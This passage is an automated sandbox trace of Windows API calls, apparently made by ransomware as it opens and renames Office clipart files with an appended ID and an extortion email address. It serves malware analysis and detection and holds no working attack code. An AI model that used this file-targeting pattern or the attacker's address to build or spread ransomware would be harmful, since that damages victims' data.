[0246.649] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099180.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.650] CloseHandle (hObject=0x11f0) returned 1 [0246.651] SetFilePointerEx (in: hFile=0x11f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.651] SetFilePointerEx (in: hFile=0x11f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.651] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099181.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.651] CloseHandle (hObject=0x11f0) returned 1 [0246.652] SetFilePointerEx (in: hFile=0x11f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.652] SetFilePointerEx (in: hFile=0x11f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.652] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099182.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.652] CloseHandle (hObject=0x11f0) returned 1 [0246.653] SetFilePointerEx (in: hFile=0x11f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.653] SetFilePointerEx (in: hFile=0x11f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.653] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099183.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.653] CloseHandle (hObject=0x11f0) returned 1 [0246.654] SetFilePointerEx (in: hFile=0x11f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.654] SetFilePointerEx (in: hFile=0x11f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.654] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099184.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.655] CloseHandle (hObject=0x11f0) returned 1 [0246.656] SetFilePointerEx (in: hFile=0x11f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.656] SetFilePointerEx (in: hFile=0x11f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.656] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099185.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.656] CloseHandle (hObject=0x11f0) returned 1 [0246.657] SetFilePointerEx (in: hFile=0x11f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.657] SetFilePointerEx (in: hFile=0x11f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.657] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099186.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.657] CloseHandle (hObject=0x11f0) returned 1 [0246.659] SetFilePointerEx (in: hFile=0x11f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.659] SetFilePointerEx (in: hFile=0x11f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.659] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099187.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.659] CloseHandle (hObject=0x11f0) returned 1 [0246.939] SetFilePointerEx (in: hFile=0x11ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.939] SetFilePointerEx (in: hFile=0x11ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.939] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099188.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.939] CloseHandle (hObject=0x11ec) returned 1 [0246.940] SetFilePointerEx (in: hFile=0x11ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.940] SetFilePointerEx (in: hFile=0x11ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.940] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105396.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.940] CloseHandle (hObject=0x11ec) returned 1 [0246.942] SetFilePointerEx (in: hFile=0x11ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.942] SetFilePointerEx (in: hFile=0x11ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.942] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105398.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.942] CloseHandle (hObject=0x11ec) returned 1 [0246.943] SetFilePointerEx (in: hFile=0x11ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.943] SetFilePointerEx (in: hFile=0x11ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.943] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105410.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.943] CloseHandle (hObject=0x11ec) returned 1 [0246.945] SetFilePointerEx (in: hFile=0x11ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.945] SetFilePointerEx (in: hFile=0x11ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.945] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105412.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.945] CloseHandle (hObject=0x11ec) returned 1 [0246.946] SetFilePointerEx (in: hFile=0x11ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.946] SetFilePointerEx (in: hFile=0x11ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.946] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105414.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.946] CloseHandle (hObject=0x11ec) returned 1 [0246.948] SetFilePointerEx (in: hFile=0x11ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.948] SetFilePointerEx (in: hFile=0x11ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.948] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105490.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.948] CloseHandle (hObject=0x11ec) returned 1 [0246.949] SetFilePointerEx (in: hFile=0x11ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.949] SetFilePointerEx (in: hFile=0x11ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.949] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105496.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.949] CloseHandle (hObject=0x11ec) returned 1 [0246.950] SetFilePointerEx (in: hFile=0x11ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.950] SetFilePointerEx (in: hFile=0x11ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.950] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105502.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.950] CloseHandle (hObject=0x11ec) returned 1 [0246.951] SetFilePointerEx (in: hFile=0x11ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.951] SetFilePointerEx (in: hFile=0x11ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.951] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105504.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.951] CloseHandle (hObject=0x11ec) returned 1 [0246.952] SetFilePointerEx (in: hFile=0x11ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.952] SetFilePointerEx (in: hFile=0x11ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.952] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105506.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.952] CloseHandle (hObject=0x11ec) returned 1 [0246.954] SetFilePointerEx (in: hFile=0x11ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.954] SetFilePointerEx (in: hFile=0x11ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.954] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105520.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.954] CloseHandle (hObject=0x11ec) returned 1 [0246.955] SetFilePointerEx (in: hFile=0x11ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.955] SetFilePointerEx (in: hFile=0x11ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.955] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105526.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.955] CloseHandle (hObject=0x11ec) returned 1 [0246.958] SetFilePointerEx (in: hFile=0x11ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.958] SetFilePointerEx (in: hFile=0x11ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.958] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105530.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.958] CloseHandle (hObject=0x11ec) returned 1 [0246.960] SetFilePointerEx (in: hFile=0x11ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.960] SetFilePointerEx (in: hFile=0x11ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.960] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105588.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.961] CloseHandle (hObject=0x11ec) returned 1 [0246.961] SetFilePointerEx (in: hFile=0x11ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.961] SetFilePointerEx (in: hFile=0x11ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.961] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105600.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.962] CloseHandle (hObject=0x11ec) returned 1 [0246.962] SetFilePointerEx (in: hFile=0x11ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.963] SetFilePointerEx (in: hFile=0x11ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.963] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105638.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.963] CloseHandle (hObject=0x11ec) returned 1 [0246.964] SetFilePointerEx (in: hFile=0x11ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.964] SetFilePointerEx (in: hFile=0x11ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.964] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105710.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.964] CloseHandle (hObject=0x11ec) returned 1 [0246.966] SetFilePointerEx (in: hFile=0x11ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.966] SetFilePointerEx (in: hFile=0x11ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.966] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105846.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.966] CloseHandle (hObject=0x11ec) returned 1 [0246.967] SetFilePointerEx (in: hFile=0x11ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.967] SetFilePointerEx (in: hFile=0x11ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.967] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105912.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.968] CloseHandle (hObject=0x11ec) returned 1 [0246.968] SetFilePointerEx (in: hFile=0x11ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.968] SetFilePointerEx (in: hFile=0x11ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.969] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105974.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.969] CloseHandle (hObject=0x11ec) returned 1 [0246.969] SetFilePointerEx (in: hFile=0x11ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.970] SetFilePointerEx (in: hFile=0x11ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.970] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106020.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.970] CloseHandle (hObject=0x11ec) returned 1 [0246.970] SetFilePointerEx (in: hFile=0x11ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.971] SetFilePointerEx (in: hFile=0x11ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.971] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106124.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.971] CloseHandle (hObject=0x11ec) returned 1 [0246.971] SetFilePointerEx (in: hFile=0x11ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.972] SetFilePointerEx (in: hFile=0x11ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.972] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106146.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.972] CloseHandle (hObject=0x11ec) returned 1 [0246.976] SetFilePointerEx (in: hFile=0x11ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.976] SetFilePointerEx (in: hFile=0x11ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.976] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft 